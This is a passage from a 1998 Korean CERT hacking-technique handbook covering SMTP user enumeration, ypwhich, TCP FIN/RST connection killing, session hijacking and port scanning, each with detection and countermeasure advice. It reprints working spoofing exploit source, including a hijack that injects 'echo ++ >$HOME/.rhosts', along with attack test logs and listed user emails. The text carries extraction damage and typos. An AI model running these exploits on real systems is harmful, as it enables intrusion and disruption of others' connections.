VRFY 명령은 주어진 사용자의 이름과 메일주소를 제공한다. 이 같은 기능을 통해 외부의

임의의 사용자에게 내부 사용자에 대한 정보를 필요 이상으로 제공하게 된다.

취약점 확인 방법

공격시험 결과 참조

해킹수법 분석

해킹수법 이해

해킹소스 프로그램

해킹시험 결과

250-www.certcc.or.kr Sendmail 8.6.12H1/8.6.9 ready at Tue. 24 Feb 16:22:07

+0900

220 ESMTP spoken here

250-<[email protected]>

250-<[email protected]>

250-WooNyun Kim <[email protected]>

250-<[email protected]>

250-Park <[email protected]>

250-lm <[email protected]>

Page 198: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

250-SangJeong <[email protected]>

250-Yunjong <[email protected]>

250-hoon <[email protected]>

250 CHAEHO LIM<[email protected]>

해킹흔적 확인방법

대응방법

- Sendmail 의 소스를 수정해 EXPN/VRFY 기능을 제공하지 않도록 한 후, 재검토 후에

설치한다.

Page 199: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

ypwhich-*-구성

(ypwhich-*-config)

Page 200: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

ypwhich-*-config

ypwhich-*-구성

문서번호

KH98-021

문서제목

ypwhich-*-구성(ypwhich-*-config)

관련응용프로그램

/etc/ypwhich

관련 운영체제

NIS 지원 운영체제

취약점 분석

취약점 이해

- ypwhich는 NIS 클라이언트에게 서비스를 제공하는 NIS 서버의 이름을 알려준다.

취약점 확인 방법

해킹수법 분석

해킹수법 이해

- ypwhich를 이용하여 NIS 서버의 이름을 알아내고 네트워크 이름과 함께 domain name

을 추측하는데 사용할 수 있다.

해킹소스 프로그램

해킹시험 결과

해킹흔적 확인방법

대응방법

Page 201: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

TCP_FIN-*-프로토콜

(TCP_FIN-*-protocol)

Page 202: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

TCP_FIN-*-protocol

TCP_FIN-*-프로토콜

문서번호

KH98-022

문서제목

TCP_FIN-*-프로토콜(TCP_FIN-*-protocol)

관련응용프로그램

관련 운영체제

취약점 분석

취약점 이해

- TCP/IP 접속에서 서버가 클라이언트로부터 FIN 패킷을 접수하면 이미 설정된 접속을 끊

는다.

취약점 확인 방법

해킹수법 분석

해킹수법 이해

- TCP/IP 접속을 도청하여 접속에 관련된 클라이언트의 순차번호(sequence number)나 포

트번호 등을 알아낸 후, 해당 클라이언트로 위장하여 연결된 서버에 FIN 패킷을 보내 접속

을 끊어버린다.

해킹소스 프로그램

- 첨부

Page 203: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

해킹시험 결과

fto>dir

200 PORT command successful.

150 Opening ASCII mode data connection for /bin/ls.

total 200

dr-xr-xr-x 10 555 555 512 Nov 25 06:56 .

drwxr-xr-x 7 0 1 512 Dev 18 01:15 ..

drwxr-xr-x 2 0 1 512 Nov 25 06:56 DOS

drwxr-xr-x 2 555 555 512 Nov 14 10:20 FAQ

drwxr-xr-x 7 555 555 512 Nov 14 09:12 advisories

drwxr-xr-x 2 555 555 512 Nov 14 06:45 archive

drwxrwxrwx 2 555 555 512 Nov 25 07:03 incoming

drwxr-xr-x 2 555 555 512 Nov 14 06:42 paper

drwxr-xr-x 2 555 555 512 Nov 14 06:42 report

drwxr-xr-x 8 555 555 512 Nov 14 06:45 tools

226 Transfer complete .

620 bytes received in 0.24 seconds (25 Kbytes/s)

ftp> ls

421 Service not available, remote server has closed connection

ftp>

./fin 203.233.150.10 21 203.32.100 33785

Attack Sequence 1 .

Hmmm .... no response detected.... (retry)

Attack Sequence 2 .

Hmmm .... no response detected.... (retry)

Attack Sequence 3 .

Killed the connection...

#

12:08:28.78058 www.certcc.or.kr.ftp > flat.33817:P 355:375(20) ack 48

win 8760 (DF) [tos 0x10]

12:08:28.781458 flat.33817 > ww.certcc.or.kr.ftp: F 48:48(0) ack 375

win 31744

12:08:28.823446 flat.33817 > ww.certcc.or.kr.ftp: . ack 375 win 8760

(DF)

12:08:28.862023 ww.certcc.or.kr.ftp > flat.33817: . ack 49 win 8760

(DF) [tos 0x10]

Page 204: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

12:08:28.862125 flat.33817 >ww.certcc.or.kr.ftp: . ack 375 win 8760

(DF)

12:08:28.879496 ww.certcc.or.kr.ftp > flt.33817: P 375:412(37) ack 49

win 8760 (DF) [tos 0x10]

12:08:28.879562 flat.33817 > ww.certcc.or.kr.ftp: . ack 375 win 8760

(DF)

12:08:28.887307 kitty.telnet > flat.33729: P 81:107(26) ack 32 win 15360

(DF)

12:08:28.893057 ww.certcc.or.kr.ftp > flat.33817: . ack 49 win 8760

(DF) [tos 0x10]

12:08:28.893139 flat.33817 > www.certcc.or.kr.ftp: . ack 375 win 8760

(DF)

12:08:28.916125 www.certcc.or.kr.ftp > flat.33817: . ack 49 win 8760

(DF) [tos 0x10]

12:08:28.916202 flat.33817 > ww.certcc.or.kr.ftp: . ack 375 win 8760

(DF)

12:08:28.933308 flat.33729 > kitty.telnet: . ack 107 win 8760 (DF)

12:08:28.933733 kitty.telnet > flat.33729:P . 107:109(2) ack 32 win 15360

(DF)

12:08:28.936058 ww.certcc.or.kr.ftp > flat.33817: . ack 375 win 8760

(DF) [tos 0x10]

12:08:28.936179 flat.33817 > ww.certcc.or.kr.ftp: . ack 375 win 8760 (DF)

12:08:28.953815 ww.certcc.or.kr.ftp > flat.33817:FP 375.412(37) ack 49

win 8760 (DF) [tos 0x10]

12:08:28.953919 flat.33817 > ww.certcc.or.kr.ftp: . ack 375 win 8760

(DF)

12:08:28.960508 www.certcc.or.kr.ftp > flat.33817: . ack win 8760

(DF) [tos 0x10]

Page 205: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

해킹흔적 확인방법

- 네트워크 패킷 모니터를 이용해 부당한 FIN 패킷을 탐지할 수 있다.

대응방법

- cpm 등의 도구를 이용하여 스니퍼 설치 여부를 조사하여 조기 차단한다.

Page 206: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Exploit Source

관련 소스

/*******************************************************************************/

/* Sniper-fin - Example program on connection killing with IP spoofing using the

FIN flag. */

/*(illustration for 'A short overview of IP spoofing') */

/* Purpose - Killing any TCP connection on your subnet */

/* Author - Brcht Claerhout <[email protected]> */

/* Serious active, comments, statements, greets, always welcome flames, moronic */

/* 3133t>/dev/null */

/* Disclamer - This program id for educational purpose only. I am in No way */

/* responsible for what you do with this program, or any damage you or this */

/* program causes */

/* For whom -People a little knowledge of TCP/IP, C course code and general

UNIX.*/

/* Otherwise , please keep your hands of, and catch up on those thing first. */

/* Limeted to - Linux 1.30X or higher. */

/* ETHERNET support ("eth0" device) */

/* If you network configuration differs it shouldn't be to hard to modify yourself. */

/* I got it working on PPP too, but I'm not including extra configuration possibilities

*/

/* because this would overload this first release that is only a demonstration of the

*/

/* mechanism */

/* Anyway if you only have ONE network device (slip ppp ,... ) after a quick look

*/

/* at this code and spoofit.h */

/* it will only take you a few secs to fix it ... */

/* People with a bit of C knowledge and well known with their OS shouldn't have

*/

Page 207: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

/* to much trouble to port the code */

/* If you do, I would love to get the results. */

/* Compiling - gcc -o sniper-fin sniper-fin.c */

/* Usage - Usage described in the spoofing article that came with this. */

/* If you didn't get this, try to get the full release ... */

/* See also - Sniffit (for getting the necessairy data on a connection) */

/*******************************************************************************/

# include "spoofit.h"

/* Those 2 'defines' are important for putting the receiving device in */

/* PROMISCUOUS mode */

#define INTERFACE "eth0"

#define INTERFACE_PREFIX 14

char SOURCE[100], DEST[100];

int. SOURCE_P, DEST_P;

void main(int argc, char *argv[ ])

{

int i,stat;

int fd_send, fd_receive;

unsigned long sp_ack, sp_seq;

unsigned short flags;

struct sp_wait_packed pinfo;

if(argc !=5)

{

printf("usage: %s host1 port1 host2 port2₩n", argv[0]);

exit(0);

}

/* preparing some work */

DEV_PREFIX = INTERFACE_PREFIX;

strcpy(SOURCE, argv[1]);

SOURCE_P=atoi(argv[2]);

strcpy(DEST, argv[3]);

DEST_P=atoi(argv[4]);

Page 208: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

/* opening sending and receiving sockets */

fd_send=open sending();

fd_receive=open receiving(INTERFACE, IO_NONBLOCK); /* nonblocking IO */

for(i=1;i<100;i++)

{

printf("Attack Sequence %d.₩n", I);

/* Waiting for a packet containing an ACK */

stat=wait_packed(fd_receive, &pinfo, SOURCE,SOURCE_P,DEST,DEST_P,ACK,50);

if (stat=-1) {printf("Connection 10 secs idle...

timeout.₩n");exit(1);}

sp_ack=pinfo.ack;

sp_ack=pinfo.sep+pinfo.datalen;

/* Sending our fake Packet */

transmit_TCP (fd_send,

NULL,0,0,0,DEST,DEST_P,SOURCE,SOURCE_P,sp_seq,sp_ack,ACK|FIN);

/* waiting for confirmation */

stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,FIN,5);

if(stat>=0)

{

p rintf("Killed the connection...₩n");

exit(0);

}

printf(“Hmmmm.... no response detected... (retry)₩n");

}

printf("I did not succeed in killing it.₩n");

}

Page 209: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

TCP_RST-*_프로토콜

TCP_RST-*-Protocol

Page 210: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

TCP_RST-*-Protocol

TCP_RST-*-프로토콜

문서번호

KH98-023

문서제목

TCP_RST-*-프로토콜 (TCP_RST-*-Protocol)

관련 응용프로그램

관련 운영체제

취약점 분석

취약점 이해

- TCP/IP 접속에서 서버가 클라이언트로부터 RST 패킷을 접수하면 이미 설정된 접속을

끊는다.

취약점 확인 방법

해킹수법 분석

해킹수법 이해

- TCP/IP 접속을 도청하여 접속에 관련된 클라이언트의 순차번호(sequence number)나 포

트번호 등을 알아낸 후, 해당 클라이언트로 위장하여 연결된 서버에 RST 패킷을 보내 접속

을 끊어 버린다.

해킹 소스 프로그램

- 첨부 (rst_kill.c)

해킹시험 결과

ftp www.certcc.or.kr

Connected to www.certcc.or.kr

220 www FTP server (Version wu-2.4(1) 1996년 8월 23일 금요일 오후 01시

34분 13초) ready.

Name (www.certcc.or.kr:root): anonymous

331 Guest login ok, send your complete e-mail address as password

Password

Page 211: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

230 Guest login ok, access restrictions apply.

ftp> bi

200 Type set to l

ftp> bi

200 Type set to l

ftp> bi

200 Type set to l

ftp> bi

200 Type set to l

ftp> bi

412 Service not available, remote server has closed connection

ftp>

./rst 203.233.150.10 21 203.2276.32.100 33823

Trying to terminate the connection

Connection 5 sec idle or dead...

#

12:23:18.438219 www.certcc.or.kr.ftp > flat .33825: P 118:264(146) ack 38

win 8760 (DF) [tos 0x10]

12:23:18.487165 flat .33825 > www.certcc.or.kr.ftp: . ack 264 win 8760

(DF)

12:23:18.543407 www.certcc.or.kr.ftp > flat .33825: P 118:264(146) ack 38

win 8760 (DF) [tos 0x10]

12:23:18.543516 flat.33825 > www.certcc.or.kr.ftp: . ack 264 win 8760

(DF)

12:23:21.040376 flat.33825 > www.certcc.or.kr.ftp: P 38:46(8) ack 264

win 8760 (DF)

12:23:21.124945 www.certcc.or.kr.ftp > flat.33825: P264:284(20) ack 46

win 8760 (DF) [tos 0x10]

12:23:21.167128 flat.33825 > www.certcc.or.kr.ftp: .ack 284 win 8760

(DF)

12:23:54.006812 flat.33825 > www.certcc.or.kr.ftp: P 46:54(8) ack 284

win 8760 (DF)

12:23:54.106141 www.certcc.or.kr.ftp > flat.33825: P 284:304(20) ack 54

win 8760 (DF) [tos 0x10]

Page 212: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

12:23:54.107113 flat.33825 > www.certcc.or.kr.ftp: R

1205104413:1205104413(0) win 31744

12:23:54.146425 flat.33825 > www.certcc.or.kr.ftp: . ack 304 win 8760

(DF)

12:23:54.197593 www.certcc.or.kr.ftp > flat.33825: R

562664292:562664292(0) win 0 (DF)

Page 213: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

해킹흔적 확인방법

- 네트워크 패킷 모니터를 이용해 부팅한 FIN 패킷을 탐지할 수 있다.

대응 방법

- cpm등의 도구를 이용하여 스니퍼 설치 여부를 조사하여 조기 차단한다.

Page 214: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Exploit Source

관련 소스

/***************************************************************************/

/* Sniper-rst-Example program on connection killing with IP spoofing */

/* Using the RST flag. */

/* (illustration for 'A shot overview of IP spoofing') */

/* */

/* Purpose - Killing any TCP connection on your subnet */

/* */

/* Author - Brecht Claerhout <[email protected]> */

/* Serious advice, comments, statements. greets, always welcome */

/* flames, mornic 3l33t > /dev/null */

/* */

/* Disclaimer - This program is for educational purpose only. I am in */

/* No way responsible for what you do with this program, */

/* or any damage you or this program cause. */

/* */

/* For whom - People with a little knowledge of TCP/IP, C source code */

/* and general UNIX. Otherwise. please keep your hands of , */

/* and catch up on those things first. */

/* Limited to - Linux 1.3.X or higher. */

/* ETHERNET support ("eth0" device) */

/* If you network configuration differs it shouldn't be to */

/* hard to modify yourself . I got it working on PPP too, */

/* but I'm not including extra configuration possibilities */

/* because this would overload this first release that is */

/* only a demonstration of the mechanism. */

/* Anyway if you only have ONE network device (slip. */

/* ppp.... ) after a quick look at this code and spoofit.h */

/* it will only take you a few secs to fix it... */

/* People with a bit of C knowledge and well known with */

/* their OS shouldn't have to much trouble to port the code */

/* if you do, I would love to get the results. */

/* */

/* Compiling - gcc -o sniper -rst sniper -rst.c */

/* */

/* Usage - Usage described in the spoofing article that came with this. */

Page 215: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

/* If you didn't get this, try to get the full release... */

/* */

/* See also - Sniffit (for getting the necessairy data on a connection) */

/****************************************************************************/

#include "spoofit.h"

/* Those 2 'defines' are important for putting the receiving the device in */

/* PROMISCUOUS mode */

#define INTERFACE "eth0"

#define INTERFACE_PREFIX 14

char SOURCE[100], DEST[100];

int SOURCE_P , DEST_P;

void main(int argc, char *argv[])

{

int i, stat, j;

int fd_send, fd_receive;

unsigned long sp_ack, sp_seq;

unsigned short flags;

struct sp_wait_packet pinfo;

if(argc !=5 )

{

printf("usage: %s host1 port1 host2 port2₩n", argv[0]);

exit(0);

}

/* preparing some work */

DEV_PREFIX = INTERFACE_PREFIX;

strcpy(SOURCE, argv[1]);

SOURCE_P=atoi(argv[2]);

strcpy(DEST, argv[3]);

DEST_P=atoi(argv[4]);

/* opening sending and receiving sockets */

fd_send = open_sending();

fd_receive = open_receiving(INTERFACE, IO_NONBLOCK); /* nonblocking IO */

Page 216: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

printf("Trying to terminate the connection₩n");

for(i = 1; i<=100: i++)

{

/* Waiting for a packet containing an ACK */

stat=wait_packet(fd_receive, &pinfo, SOURCE, SOURCE_P, DEST, DEST_P, ACK, 5);

If(stat == -1) {printf("Connection 5 secs idle or dead...₩n"); exit(1);}

sp_seq=pinfo.ack;

sp_ack=0;

j=0;

/* Sending our fake Packet */

/* for(j=0; j<10; j++) This would be better */

/* {

transmit_TCP (fd_send, NULL, 0, 0, 0, DEST, DEST_P, SOURCE, SOURCE_P,

sp_seq+j, sp_ack,RST);

/* }

/* waiting for confirmation */

stat=wait_packet(fd_receive, &pinfo, SOURCE, SOURCE_P, DESP, DEST_P, 0, 5);

if(stat<0)

{

printf("Connection 5 secs idle or dead... ₩n");

exit(0);

}

}

printf("I did not succeed in killing it.₩n");

}

Page 217: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

세션_가로채기-*-프로토콜

session_hijacking-*-Protocol

Page 218: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

session_hijacking-*-Protocol

세션_가로채기-*-프로토콜

문서번호

KH98-024

문서제목

세션_가로채기-*-프로토콜 (Session_hijacking-*-Protocol)

관련 응용프로그램

관련 운영체제

취약점 분석

취약점 이해

- TCP/IP 접속에서 서버는 클라이언트를 패킷내의 순차번호(sequence number)와 IP주소,

포트번호 등을 이용해 인증한다.

취약점 확인 방법

해킹수법 분석

해킹수법 이해

- TCP/IP 접속을 도청하여 접속에 관련된 클라이언트의 순차번호(sequence number)나 포

트번호 등을 알아낸 후, 해당 클라이언트로 위장하여 서버에 접속하여 원하는 명령을 수행

한 뒤 빠져 나온다.

해킹 소스 프로그램

- 첨부

Page 219: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

공격시험 결과

$ ./hijack 203.227.32.100 33829 203.223.150.10

Starting Hijacking demo - Brecht Claerhout 1996

Takeover phase 1: Stealing connection

Sending Spoofed clean-up data...

Waiting for spoof to be confirm...

Phase 1 ended.

Takeover phase 2: Getting on track with SEQ/ACK's again

Server SEQ:27593FAA (hex) ACK: 4DA74C2B (hex)

Phase 2 ended.

Takeover phase 3: Sending MY data.

Sending evil data.

Waiting for evil data to be confirm...

Phase 3 ended.

#

Page 220: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

www% ls -ld .rhosts

-rw-r-r- 1 kadosu staff 3 12월 20일 11:30 .rhosts

www% more .rhosts

++

www%

12:40:21.076630 www.certcc.or.kr.telnet > flat.33830: P 929:942(13) ack

48 win 8760 (DF)

12:40:21.118714 flat.33830 > www.certcc.or.kr.telnet: . ack 942 win 8760

(DF)

12:41:30.858083 flat.33830 > www.certcc.or.kr.telnet: P 48:57(9) ack 942

win 8760 (DF)

12:41:30.859953 flat.33830 > www.certcc.or.kr.telnet: P 57:67(10) ack

942 win 31744

12:41:30.939130 www.certcc.or.kr.telnet > flat.33830: . ack 67 win 8760

(DF)

12:41:30.939247 flat.33830 >www.certcc.or.telnet: . ack 942 win 8760

(DF)

12:41:30.948820 www.certcc.or.kr.telnet > flat.33830: P 942:962(20) ack

67 win 8760 (DF)

12:41:30.949021 flat.33830 > www.certcc.or.kr.telnet: . ack 942 win 8760

(DF)

12:41:30.984797 www.certcc.or.kr.telnet > flat.33830: . ack 67 win 8760

(DF)

12:41:30.984889 flat.33830 > www.certcc.or.kr.telnet: . ack 942 win 8760

(DF)

12:41:30.998820 www.certcc.or.kr.telnet > flat.33830: . ack 67 win 8760

(DF)

12:41:30.998898 flat.33830 > www.certcc.or.kr.telnet: . ack 942 win 8760

(DF)

21:41:31.001479 flat.33830 > www.certcc.or.kr.telnet: P 67:91(24) ack

962 win 31744

Page 221: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

해킹흔적 확인 방법

- 탐지가 거의 불가능

- 안정적이던 연결이 갑자기 반복적으로 중단될 경우, 일단 의심

대응 방법

- cmp등의 도구를 이용하여 스니퍼 설치 여부를 조사하여 조기 차단한다.

Page 222: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Exploit Source

관련 소스

/**************************************************************************/

/* Hijack - Example program on connection hijacking with IP spoofing */

/* (illustration for 'A short overview of IP spoofing') */

/* */

/* Purpose - taking control of a running telnet session. and executing */

/* our own command in that shell. */

/* */

/* Author - Brecht Claehout <[email protected]> */

/* Serious advice, comments, statements, greets, always welcome */

/* flames, moronic 3l33t >/dev/null */

/* */

/* Disclaimer - This program is for educational purpose only. I am in */

/* No way responsible for what you do wit this program. */

/* or any damage you or this program causes. */

/* */

/* For whom - People with a little knowledge of TCP/IP. C source code */

/* and general UNIX. Otherwise, please keep your hands of, */

/* and catch up on those things first. */

/* */

/* Limited to - Linux 1.3.X or higher. */

/* ETHERNET support ("eth0" device) */

/* If you network configuration differs it shouldn't be to */

/* hard to modify yourself. I got it working on PPP too. */

/* but I'm not including extra configuration possibilities */

/* because this would overload this first release that is */

/* only a demonstration of the mechanism. */

/* Anyway if you only have ONE network device (slip, */

/* ppp,... ) after a quick look at this code and spoofit.h */

/* it will only take you a few secs to fix it...*/

/* People with a bit of C knowledge and well known with */

/* their OS shouldn't have to much trouble to port the code. */

/* If you do, I would love to get the results. */

/* */

/* Compiling - gcc -o hijack hijack.c */

/* */

Page 223: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

/* Usage - Usage described in the spoofing article that came with this. */

/* If you didn't get this. try to get full release... */

/* */

/* See also - Sniffit (for gettng the necessary data on a connection) */

/**************************************************************************/

#include "spoofit.h" /* My spoofing include.... read licence on this */

/* Those 2 'defines' are important for putting the receiving device in */

/* PROMISCUOUS mode */

#define INTERFACE "eth0" /* first ethernet device */

#define INTERFACE_PREFIX 14 /* 14 bytes is an ethernet header */

#define PERSONAL_TOUCH 666

int fd_receive, .fd_send;

char CLIENT[100]. SERVER[100];

int CLIENT_P;

void main(int argc, char *argv[])

{

int i,j,count;

struct sp_wait_packet attack_info;

unsinged long sp_seq, sp_ack;

unsinged long old_seq, old_ack;

unsinged long serv_seq, serv_ack;

/* This data used to clean up the shell line */

char to_data[]={0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x0a, 0x0a);

char evil_data[]="echo ++ >$HOME/.rhosts₩n";

if(argc!=4)

{

printf("Usage: %s client client_port server₩n", argv[0]);

exit(1);

}

strcpy(CLIENT, argv[1]);

CLIENT_P=atoi(argv[2]);

strcpy(SERVER,argv[3]);

Page 224: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

/* preparing all necessary sockets (sending + receiving) */

DEV_PREFIX = INTERFACE_PREFIX;

fd_send = open_sending();

fd_receive = open_receiving(INTERFACE, 0); /* normal BLOCKING mode */

printf("Starting Hijacking demo - Brecht Clearhout 1996₩n");

printf("-----------------------------------------₩n");

for(j=0; j<50; j++)

{

printf("₩nTakeover phase 1: Stealing connection. ₩n");

wait_packet(fd_receive,&attack_info,CLIENT,CLIENT_P,SERVER,23,ACK|PSH,0);

sp_seq=attack_info.seq+attack_info.datalen;

sp_ack=attack_info.ack;

printf("Sending Spoofed clean-up data...₩n");

transmit_TCP(fd_send, to_data,0,0,sizeof(to_data),CLIENT, CLIENT_P, SERVER,23,

sp_seq, sp_ack,ACK|PSH);

/* NOTE: always beware you receiver y'r OWN spoofed packs! */

/* so handle it if necessary */

count = 0;

printf(" Waiting for spoof to be confirmed...₩n");

while(count<5)

{

wait_packet(fd_receive,&attack_info,SERVER,23,CKIENT,CLIENT_P,ACK,0);

if(attack_info.ack=sp_seq+sizeof(to_data))

count=PERSONAL_TOUCH;

else count++;

};

if(count!=PERSONAL_TOUCH)

{print("Phase 1 unsuccesfully ended.₩n");}

else {printf("Phase 1 ended.₩n"); break;};

};

printf("₩nTakeover phase 2: Getting on track with SEQ/ACK's again₩n");

count=serv_seq=old_ack=0;

while(count<10)

{

Page 225: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

old_seq=serv_seq;

old_ack=serv_ack;

wait_packet(fd_receive, &attack_info, SERVE, 23, CLIENT, CLIENT_P, ACK, 0);

if(attack_info.datalen==0)

{

serv_seq=attack_info.seq+attack_info.datalen;

serv_ack=attack_info.ack;

if(old_seq==serv_seq)&&(serv_ack==old_ack))

count=PERSONAL_TOUCH;

else count++;

}

};

if(count!=PERSONAL_TOUCH)

{printf("Phase 2 unsuccesfully ended.₩n"); exit(0);}

prinf(" Server SEQ: %X (hex) ACK: %X (hex)₩n",serv_seq,serv_ack);

printf("Phase 2 ended.₩n");

printf("₩nTakeover phase 3: Sending MY data.₩n");

printf(" Sending evil data.₩n");

transmit_TCP(fd_send, evil_data, 0, 0, sizeof(evil_data), CLIENT, CLIENT_P,

SERVER, 23, serv_seq, ACK|PSH):

count=0;

printf(" Waiting for evil data to be confirmed...₩n");

while(count<5)

{

wait_packet(fd_receive, &attack_info, SERVER, 23, CLIENT, CLIENT_P, ACK, 0);

if(attack_info.ack==serv_ack+sizeof(evil_data))

else count++

};

if(count!=PERSONAL_TOUCH)

{printf("Phase 3 unsuccesfully ended.₩n"); exit(0);}

printf(:Phase 3 ended.₩n");

}

Page 226: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

포트스캔-*-해킹도구

Portscan-*-hack_tool

Page 227: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Portscan-*-hack_tool

포트스캔-*-해킹도구

문서번호

KH98-025

문서제목

포트스캔-*-해킹도구 (Portscan-*-hack_tool)

관련 응용프로그램

portscan

관련 운영체제

Sun SunOS 4.1.x, Solaris 2.x

취약점 분석

취약점 이해

- portscan 프로그램은 원격호스트의 서비스 포트를 조사하여 서비스이름이나 포트번호를

출력해준다.

취약점 확인 방법

해킹수법 분석

해킹수법 이해

해킹 소스 프로그램

- 첨부

해킹시험 결과

flat# probe 203.227.32.10

Host 203.227.32.10, port 13 ("daytime" service) connection ... open.

Host 203.227.32.10, port 21 ("ftp" service) connection ... open.

Host 203.227.32.10, port 23 ("telnet" service) connection ... open.

Host 203.227.32.10, port 25 ("smtp" service) connection ... open.

Host 203.227.32.10, port 37 ("time" service) connection ... open.

Host 203.227.32.10, port 53 ("domain" service) connection ... open.

Host 203.227.32.10, port 80 ("http" service) connection ... open.

